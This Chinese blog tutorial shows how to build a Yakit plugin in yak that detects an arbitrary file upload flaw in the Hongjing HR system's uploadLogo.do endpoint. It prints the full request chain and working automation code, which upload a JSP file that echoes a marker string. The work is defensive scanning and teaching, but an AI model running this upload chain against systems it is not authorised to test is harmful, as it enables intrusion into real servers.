使用yak编写yakit漏洞检测插件

前言

        在使用yakit进行编写yaml插件的时候遇到了yaml无法处理的情况,我不知道是不是yaml无法处理或者说是yakit和yaml的兼容还不够,面对变量的处理还是有些难受,于是花了点时间看了官网的yak语法的手册和其他人写的yak插件尝试使用yak语言来完成这个插件,但是在全网寻找发现教yak的真的很少,大部分情况都只能看官方的手册解惑。那么我这里就展示编写一个插件的全过程,附带讲解常用的一些函数使用的方式。

        

poc解析

此次演示编写的插件是——“宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞“

原始数据包也是比较复杂的

数据包1  拿到JSESSIONID
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: 数据包2、3  此数据包发送两遍,第一遍访问需要从响应包中难道请求路径,第二个数据包访问路径进行上传
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{params(target)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Cookie: {{params(JSESSIONID)}};
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Length: 522------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"{{params(path)}}.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--数据包4  此数据包访问看是否上传成功,成功即响应包中回显上传的数据
GET /images.jsp HTTP/1.1
Host: {{params(target)}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

可以看到一共需要发送4次,其实为什么yaml写不出来就是第二次发送的数据包难道的路径用正则提取还需要进行二次处理,但是yakit的变量传递好像是无法处理,yaml中我也没有成功的处理这个提取结果只能直接用代码实现。

理解了poc的流程那么首先是将其使用代码实现出来,这里使用Yak Runner模块

需要在这里将代码调试好了再直接转为插件

这里比较重要的是左边的帮助文档,在这里有很多函数的使用介绍,在不知道一个函数的具体用法的时候可以在左边进行查询

代码编写阶段

首先我们需要获取目标和地址

addr = str.HostPort("127.0.0.1", 80) //addr就是127.0.01:80

isTls = str.IsTLSServer(addr) //判读是http还是https 返回bool

接下来将几个数据包放进去

写法就是

packet = `........`

    packet1 = `GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: {{params(target)}}
`packet2 = `POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{params(target)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Cookie: {{params(JSESSIONID)}};
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Length: 522------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"{{params(path)}}.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
`packet3=`GET /images.jsp HTTP/1.1
Host: {{params(target)}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
`

``会保留字符串中的所有字符,什么换行啥的比较稳定,其次可以看到Host: {{params(target)}} 有了解yakit 的fuzztag就知道这他引用变量的方法,里面的{{params(JSESSIONID)}}和{{params(path)}}后续我传入参数的地方

当然在写的时候建议是一个数据包一个数据包的处理,可以不直接将所有数据包先定义好

数据包的请求

常用poc.HTTP,还可以使用poc.HTTPEx 等,具体就去看官方手册的解释

沿用的golang的风格返回三个值都是rsp,req字节数组和err,这里_的意思就是不管error

rsp,req,_ = poc.HTTP(packet1, poc.params({"target":addr}),   //数据包中的传参poc.https(isTls),            //是否使用tlspoc.redirectTimes(0),         //重定向为0)

可以使用dump()函数来看具体的某个变量的情况,这个函数比较智能,可以看类型属性啥的。

 

对于字节数据后续其他函数肯定是难以处理的,必须将其转为其他的一些格式方便我们使用,比如rsp我们如果需要获取他的状态码和body

rsp_content = poc.ParseBytesToHTTPResponse(rsp)~ //~是抛出异常的方式

返回的是一个结构体,可以看到有很多属性

这里的目的是获取响应的header 中的 Set-Cookie 的值,header字段是

但是直接看这个只知道是 rsp_content.header看不出具体的值怎么获取,那么就可以使用dump先看格式

看到类型是数组 那么

cok:=rsp_content.Header["Set-Cookie"][0] //:=也是golang的赋值方式,yak也支持很方便

拿到set-cookie 的值

这里我需要对这个值进行进一步的处理将; Path=/ 去除

cok2:=str.Split(cok, ";")[0] //将cok从;分割开取第一个数组的值

到此我们拿到了一个变量,后续方式也是按照这种思路来的,不知道的就dump看一下,函数不知道用什么的就看看官方手册

第二个数据包请求

#第二个数据包请求获取返回的文件路径rsp2,req2,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":""}),  //多变量传入的方式poc.https(isTls),poc.redirectTimes(0),)

正则表达式的使用

rsp2_content = poc.ParseBytesToHTTPResponse(rsp2)~

#使用正则表达式提取body中的值

#rsp2_content.Body还是字节数组,需要强转为string类型

path1:=re.Find(string(rsp2_content.Body), `alue="([^"]+)";` /*type: string*/)

等等后续的处理差不多就不细嗦了

最后就是如何判断是否存在漏洞,以及漏洞存在的info

需要在代码的开头先初始化info

yakit.AutoInitYakit()

log.setLevel("info")

然后最终的判断,我这里是访问数据包存在"qaxnb666" 就证明存在漏洞,然后risk可以编写自定义相关的信息,自己修改一下就行

 if str.MatchAllOfSubString(rsp4, "qaxnb666"){yakit.Info("宏景人力资源信息管理系统uploadLogo存在任意文件上传任意文件上传漏洞")risk.NewRisk(addr,risk.title("宏景人力资源信息管理系统uploadLogo存在任意文件上传意文件上传漏洞    "),risk.severity("critical"),risk.titleVerbose("宏景人力资源信息管理系统uploadLogo存在任意文件上传"),risk.type("file-upload"),risk.description("任意文件上传,先访问获取cookie,再访问路径获取上传的路径,再上   传到指定路径最后访问是否上传成功"),risk.solution("打补丁"),risk.details({"target":addr,"request":req4,"response":rsp4,}))}

完整代码

实际可以进行优化,比如在第一个数据包就开始判断如果返回的不是200那就直接return不继续,可以提高效率

    addr = str.HostPort(target, port)isTls = str.IsTLSServer(addr)packet1 = `GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: {{params(target)}}
`packet2 = `POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{params(target)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Cookie: {{params(JSESSIONID)}};
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Length: 522------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"{{params(path)}}.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
`packet3=`GET /images.jsp HTTP/1.1
Host: {{params(target)}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
`#第一个数据包拿到cookiersp,req,_ = poc.HTTP(packet1, poc.params({"target":addr}),poc.https(isTls),poc.redirectTimes(0),)rspIns = poc.ParseBytesToHTTPResponse(rsp)~#dump(rspIns)if str.MatchAllOfSubString(rspIns, `Set-Cookie`)==false{return}cok:=rspIns.Header["Set-Cookie"][0]cok2:=str.Split(cok, ";")[0]println(cok2)print(123)#第二个数据包请求获取返回的文件路径rsp2,req2,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":""}),poc.https(isTls),poc.redirectTimes(0),)if str.MatchAllOfSubString(rsp2, `images"`)==false{return}rsp2_content = poc.ParseBytesToHTTPResponse(rsp2)~#使用正则表达式提取body中的值#rsp2_content.Body还是字节数组,需要强转为string类型path1:=re.Find(string(rsp2_content.Body), `alue="([^"]+)";` /*type: string*/)println(path1)#使用trim去除 前后没用的字符path2:=str.Trim(path1 /*type: string*/, `alue="";` /*type: string*/)println(path2)#第三个数据包替换路径进行上传rsp3,req3,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":path2}),poc.https(isTls),poc.redirectTimes(0),)#第四个数据包尝试访问上传的文件rsp4,req4,_ = poc.HTTP(packet3, poc.params({"target":addr}),poc.https(isTls),poc.redirectTimes(0),)rsp4_content = poc.ParseBytesToHTTPResponse(rsp4)~print(rsp4_content.Body)if str.MatchAllOfSubString(rsp4, "qaxnb666"){yakit.Info("宏景人力资源信息管理系统uploadLogo存在任意文件上传任意文件上传漏洞")risk.NewRisk(addr,risk.title("宏景人力资源信息管理系统uploadLogo存在任意文件上传意文件上传漏洞    "),risk.severity("critical"),risk.titleVerbose("宏景人力资源信息管理系统uploadLogo存在任意文件上传"),risk.type("file-upload"),risk.description("任意文件上传,先访问获取cookie,再访问路径获取上传的路径,再上   传到指定路径最后访问是否上传成功"),risk.solution("打补丁"),risk.details({"target":addr,"request":req4,"response":rsp4,}))}return
}

编写为插件

来到新建插件

选择yak-端口扫描插件,这种插件他帮你写好了格式,可以不需要写处理目标的代码。我当前的版本不可以进行批量扫描目标,我去官方反应说是bug会修复。所以目前如果要批量检测的需要写原生插件

可以看到源码中有很多提示

因为我们没有在代码中编写如何处理传入目标相关的代码,就是为了使用这里的他默认的格式

提示中已经告诉我们了result就是servicescan得到的目标,也就是我们传入的目标他会将他解析,我们只需要用result 这个对象就可以了,同时他还有很多自带的函数比如 IsOpen() GetHtmlTitle()可以用来做指纹的识别,比如拿到result 判断result中body中有没有一些关键词,比如weaver 如果有才进行自己编写的检测阶段

那么实际的插件编写就需要将我们所有的检测流程全部放入到 handle 函数中,参数一般常用的就是 (result.Target,result.Port) 进行传参

完整插件代码

//by dreamer292
yakit.AutoInitYakit()
log.setLevel("info")
# Input your code!handleCheck = func(target,port) {addr = str.HostPort(target, port)isTls = str.IsTLSServer(addr)packet1 = `GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: {{params(target)}}
`packet2 = `POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: {{params(target)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Cookie: {{params(JSESSIONID)}};
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Length: 522------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"{{params(path)}}.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "qaxnb666" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
`packet3=`GET /images.jsp HTTP/1.1
Host: {{params(target)}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
`#第一个数据包拿到cookiersp,req,_ = poc.HTTP(packet1, poc.params({"target":addr}),poc.https(isTls),poc.redirectTimes(0),)rspIns = poc.ParseBytesToHTTPResponse(rsp)~#dump(rspIns)if str.MatchAllOfSubString(rspIns, `Set-Cookie`)==false{return}cok:=rspIns.Header["Set-Cookie"][0]cok2:=str.Split(cok, ";")[0]println(cok2)print(123)#第二个数据包请求获取返回的文件路径rsp2,req2,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":""}),poc.https(isTls),poc.redirectTimes(0),)if str.MatchAllOfSubString(rsp2, `images"`)==false{return}rsp2_content = poc.ParseBytesToHTTPResponse(rsp2)~#使用正则表达式提取body中的值println(123123)#rsp2_content.Body还是字节数组,需要强转为string类型path1:=re.Find(string(rsp2_content.Body), `alue="([^"]+)";` /*type: string*/)println(path1)#使用trim去除 前后没用的字符path2:=str.Trim(path1 /*type: string*/, `alue="";` /*type: string*/)println(path2)#第三个数据包替换路径进行上传rsp3,req3,_ = poc.HTTP(packet2, poc.params({"target":addr,"JSESSIONID":cok2,"path":path2}),poc.https(isTls),poc.redirectTimes(0),)#第四个数据包尝试访问上传的文件rsp4,req4,_ = poc.HTTP(packet3, poc.params({"target":addr}),poc.https(isTls),poc.redirectTimes(0),)rsp4_content = poc.ParseBytesToHTTPResponse(rsp4)~print(rsp4_content.Body)if str.MatchAllOfSubString(rsp4, "qaxnb666"){yakit.Info("宏景人力资源信息管理系统uploadLogo存在任意文件上传任意文件上传漏洞")risk.NewRisk(addr,risk.title("宏景人力资源信息管理系统uploadLogo存在任意文件上传意文件上传漏洞    "),risk.severity("critical"),risk.titleVerbose("宏景人力资源信息管理系统uploadLogo存在任意文件上传"),risk.type("file-upload"),risk.description("任意文件上传,先访问获取cookie,再访问路径获取上传的路径,再上   传到指定路径最后访问是否上传成功"),risk.solution("打补丁"),risk.details({"target":addr,"request":req4,"response":rsp4,}))}return
}handle = func(result /* *fp.MatchResult */) {// handle match resultif !result.IsOpen(){  //如果端口没开发直接结束return}// println(result.Fingerprint.CPEs)if len(result.Fingerprint.HttpFlows)>0{       //判断此端口是不是http流也就是是不是个web服务,如果是就进入漏洞检测阶段handleCheck(result.Target,result.Port)        }}

漏洞存在的info信息

        整体来看编写起来并不复杂,但是难就难在啥都需要去官方手册看,无法询问ai一些函数的功能,这对脚本小子来说真的天塌了。我感觉就是有一批真正会用的人,然后官方和这些人之间一起在交流完善一些功能,但是没有很多大佬分享出来😢,希望后续有更多人的一起推动yakit和yak吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/17597.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

信也科技和云杉网络的AI可观测性实践分享

1. 信也科技 2、云杉网络 2.1 中国移动

Blossom:开源私有部署的markdown笔记软件

在信息化、数字化时代&#xff0c;我们每个人的生活和工作都离不开笔记和知识管理。从简单的待办事项&#xff0c;到复杂的项目计划&#xff0c;再到存储大量个人知识的工具&#xff0c;如何选择一个高效、便捷且符合个人需求的笔记软件&#xff0c;成了许多人的难题。最近在逛…

Spring:DI依赖注入的方式

Spring为我们提供了两种注入方式&#xff0c;分别是: setter注入 简单类型引用类型 构造器注入 简单类型引用类型 setter注入 在bean中定义引用类型属性&#xff0c;并提供可访问的set方法配置中使用property标签ref属性注入引用类型对象 (1)项目中添加BookDao、BookDaoIm…

逆向攻防世界CTF系列37-crackme

逆向攻防世界CTF系列37-crackme 参考https://blog.csdn.net/xiao__1bai/article/details/120230397 nspack的壳&#xff0c;查了一下好像是北斗的一个壳 没找到什么脱壳软件&#xff0c;只能手动脱壳了 手动脱壳的最终要的是ESP定律 ESP定律的原理就是“堆栈平衡”原理 涉及…

按钮权限的操作方法

首先先在你的本地储存里边&#xff0c;加入一些你指定的字段 然后创建一个文件夹&#xff0c;在此文件夹下创建一个js文件&#xff0c;文件内容如下 在你所需要隐藏按钮的页面引入此js文件&#xff0c;并且通过 directives自定义指令绑定你的每一个按钮。在js文件中通过三个常量…

vscode 关闭绑定元素 隐式具有“any”类型这类错误

在vue的项目里面&#xff0c;经常看到any类型的报错&#xff0c;真的很烦的 在tsconfig.json中配置以下参数 “noImplicitAny”: false 就可以了 出现类型“never”上不存在属性“userName”。ts-plugin(2339) 配置该参数 modeuleResolution : node "compilerOptions&qu…

springboot 的 Profile

什么是 Profile &#xff1f; 应用所在的运行环境发生切换时&#xff0c;配置文件常常就需要随之修改。 Profile&#xff1a;——就是一组配置文件及组件的集合。 可以整个应用在不同的profile之间切换&#xff08;设置活动profile&#xff09;&#xff0c;整个应用都将使用该…

onvif协议相关:4.1.6 Digest方式云台控制启动

背景 关于onvif的其实很早之前我已经在专栏中写了不少了, 使用onvif协议操作设备 但最近有陆陆续续的粉丝问我, 希望我在写一些关于 onvif的设备自动发现、预置位跳转、云台操作的博客。 满足粉丝的需求,安排。 今天我们来实现 设备云台的控制(启动) 实现 1.在ONVIF Devi…

【JAVA毕业设计】基于Vue和SpringBoot的农机电招平台

本文项目编号 T 615 &#xff0c;文末自助获取源码 \color{red}{T615&#xff0c;文末自助获取源码} T615&#xff0c;文末自助获取源码 随着农机电招行业的不断发展&#xff0c;农机电招在现实生活中的使用和普及&#xff0c;农机电招行业成为近年内出现的一个新行业&#x…

基于Jmeter的分布式压测环境搭建及简单压测实践

写在前面 平时在使用Jmeter做压力测试的过程中&#xff0c;由于单机的并发能力有限&#xff0c;所以常常无法满足压力测试的需求。因此&#xff0c;Jmeter还提供了分布式的解决方案。本文是一次利用Jmeter分布式对业务系统登录接口做的压力测试的实践记录。按照惯例&#xff0…

代码随想录算法训练营day41|动态规划04

最后一块石头的重量|| 返回剩余最后一块石头石头最小的可能重量&#xff0c;那么就应该最后剩余的两块石头尽量都等于或接近总重量的一半&#xff0c;这样剩下的就是一半的质量 目标和 给定一个非负整数数组&#xff0c;a1, a2, …, an, 和一个目标数&#xff0c;S。现在你有…

Python+Flask实现随机选谷票游戏

西方曾进行一项著名的投资随机性实验&#xff0c;对比基金经理与猴子在选股上的表现。 实验方法&#xff1a;主持人提供一系列股票&#xff0c;基金经理依靠其专业知识&#xff08;如财务报表、行业趋势、产品市场及公司文化与管理层分析等&#xff09;进行筛选&#xff1b;而…

【Python数据可视化分析实战】数据爬取—京东手机品牌信息数据爬取和数据分析与可视化

大数据分析设计方案 1.数据集来源&#xff1a;https://search.jd.com 2.实现思路&#xff1a; &#xff08;1&#xff09;数据爬取 首先&#xff0c;我们需要从京东平台上采集手机品牌的相关数据。可以通过网络爬虫或API接口等方式获取数据。为了保证数据的完整性和准确性&…

使用 TensorFlow 实现 ZFNet 进行 MNIST 图像分类

ZFNet&#xff08;ZF-Net&#xff09;是由 Matthew Zeiler 和 Rob Fergus 提出的卷积神经网络架构&#xff0c;它在图像分类任务中取得了显著的效果。它在标准卷积神经网络&#xff08;CNN&#xff09;的基础上做了一些创新&#xff0c;例如优化了卷积核大小和池化策略&#xf…

11.15 HTML

传统路线 HTML、CSS、JS AjaxJQueryMySQLJDBCServletJSPEL&JSTLCookieSessionFilterServlet案例MybatisSpringSpringMVCSpringBoot 全新路线 HTM、CSS、JSAjax、AxiosVue、Element前端工程化 vue脚手架MavenSpringBoot基础 基于SpringBoot进行讲解Spring的IOC&#xff…

打造旅游卡服务新标杆:构建SOP框架与智能知识库应用

随着旅游业的蓬勃兴起&#xff0c;旅游卡产品正逐渐成为市场的焦点。为了进一步提升服务质量和客户体验&#xff0c;构建一套高效且标准化的操作流程&#xff08;SOP&#xff09;变得尤为重要。本文将深入探讨如何构建旅游卡的SOP框架&#xff0c;并介绍如何利用智能知识库技术…

Java 简单家居开关系统

1.需求&#xff1a; 面向对象编程实现智能家居控制系统&#xff08;简单的开关&#xff09; 2.实现思路 1.定义设备类&#xff1a;创建设备对象代表家里的设备 JD类&#xff1a; import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor;D…

Github客户端工具github-desktop使用教程

文章目录 1.客户端工具的介绍2.客户端工具使用感受3.仓库的创建4.初步尝试5.本地文件和仓库路径5.1原理说明5.2修改文件5.3版本号的说明5.4结合码云解释5.5版本号的查找 6.分支管理6.1分支的引入6.2分支合并6.3创建测试仓库6.4创建测试分支6.5合并分支6.6合并效果查看6.7分支冲…

3D Gaussian Splatting的全面理解

1.概述 高斯展开是一种表示 3D 场景和渲染新视图的方法,在“用于实时辐射场渲染的 3D 高斯展开” 中介绍。它可以被认为是类似 NeRF 的模型的替代品,就像过去的 NeRF 一样,高斯飞溅导致了许多新的研究工作,他们选择将其用作各种用例的 3D 世界的底层表示。那么它有什么特别…

Arcgis地图实战三:自定义导航功能的实现

文章目录 1.最终效果预览2.计算两点之间的距离3.将点线画到地图上4.动态展示点线的变化5.动态画线6.动态画点 1.最终效果预览 2.计算两点之间的距离 let dis this.utilsTools.returnDisByCoorTrans(qdXYData, zdXYData, "4549")当距离小于我们在配置文件中预设置的…